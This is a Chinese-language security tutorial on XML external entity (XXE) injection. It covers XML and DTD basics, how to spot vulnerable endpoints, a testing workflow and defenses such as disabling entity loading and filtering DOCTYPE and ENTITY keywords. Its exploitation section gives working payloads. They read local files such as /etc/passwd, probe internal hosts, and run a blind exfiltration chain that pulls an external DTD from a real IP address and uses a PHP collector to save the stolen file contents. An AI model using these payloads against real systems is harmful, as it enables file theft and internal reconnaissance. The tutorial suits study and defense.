XEE(XML外部实体注入)
一、基础知识
XML
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。简单来说,XML是数据的传输工具,与HTML语言不同,HTML用来显示数据,而 XML用来传输和存储数据
XML文档结构包括:
- XML声明
- DTD文档类型定义(可选)
- 文档元素
XML基本文档结构
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>
<!--DTD,这部分可选的-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<!--文档元素-->
<foo>&xxe;</foo>
DTD
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD的声明:指XML文档中声明该文档的DTD或DTD来源的部分,既可以包含在使用它的XML文档内部,也可以通过外部引用以独立的DTD文档(*.dtd)文档存在。
DTD实体概念
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,根据引用或者声明方式可以将实体分为内部实体和外部实体。
一个实体由三部分构成:&符号, 实体名称, 分号 (😉,例如:<foo>&xxe;</foo>
m
XXE漏洞全称为XML外部实体注入漏洞,在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害
内部实体
声明:
例如:
]>
外部实体
声明:
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
例如:
//引用file协议
<!DOCTYPE foo
[
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:////etc/passwd" >
]>
<foo>&xxe;</foo>
参数实体
声明:
//内部参数实体声明
或者
//外部参数实体声明
例如:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
二、XXE检测与利用
漏洞发现:
(1)数据包Content-Type参数带有xml,例如:`Content-Type: application/xml;charset=utf-8`
(2)post传输数据格式为xml格式
//也有的数据传输先用xml处理,再用json进行二次处理,在抓到数据包上显示的是json格式。遇到这种情况,可以直接尝试将传输数据改成xml的payload进行测试
(3)XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行,比如:svg、Excel
漏洞利用:
1.利用file协议读取文件
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///C://Windows/System32/drivers/etc/hosts">
]>
<user><username>&test;</username><password>test</password></user>
//如果有自带的标签,则用自带标签来
2.利用http协议带外测试
- 作用:无回显的情况下,用于检测是否存在XXE漏洞
- 方法:首先在dnslog上申请一个子域,将下面payload的网址改为所申请的dnslog子域,执行下面的XXE payload,查看dnslog子域是否被访问
- dnslog地址:http://dnslog.cn/
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY f SYSTEM "http://td1h17.dnslog.cn">
]>
<x>&f;</x>
3.引入外部实体dtd
- 作用:解决无回显问题
- 原理:从外部引入test.dtd,让服务器访问get.php,然后用get.php将file读取的数据保存到file.txt里
payload:
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/a.txt">
<!ENTITY % remote SYSTEM "http://8.134.95.36/hacker/XXE/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://8.134.95.36/hacker/XXE/get.php?file=%file;'>">
get.php:
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
4.内网探针
- 作用:打ctf、实战中只能用来扫扫端口,不像SSRF的内网探测那样强大,挺鸡肋的
- 原理:和读文件差不多,只不过把URI改成内网机器地址
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" >
]>
<user><firstname>&rabbit;</firstname><lastname>666</lastname></user>
三、WAF绕过
参考文章:《绕过WAF保护的XXE》
四、黑盒测试挖洞流程
1.先确定数据是否以xml格式传输(具体看上面的漏洞发现)
2.先尝试用file协议读取文件
3.无回显使用带外测试检测是否存在XXE漏洞
4.存在,引入外部实体dtd读取数据
五、XXE防御
方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案2-过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC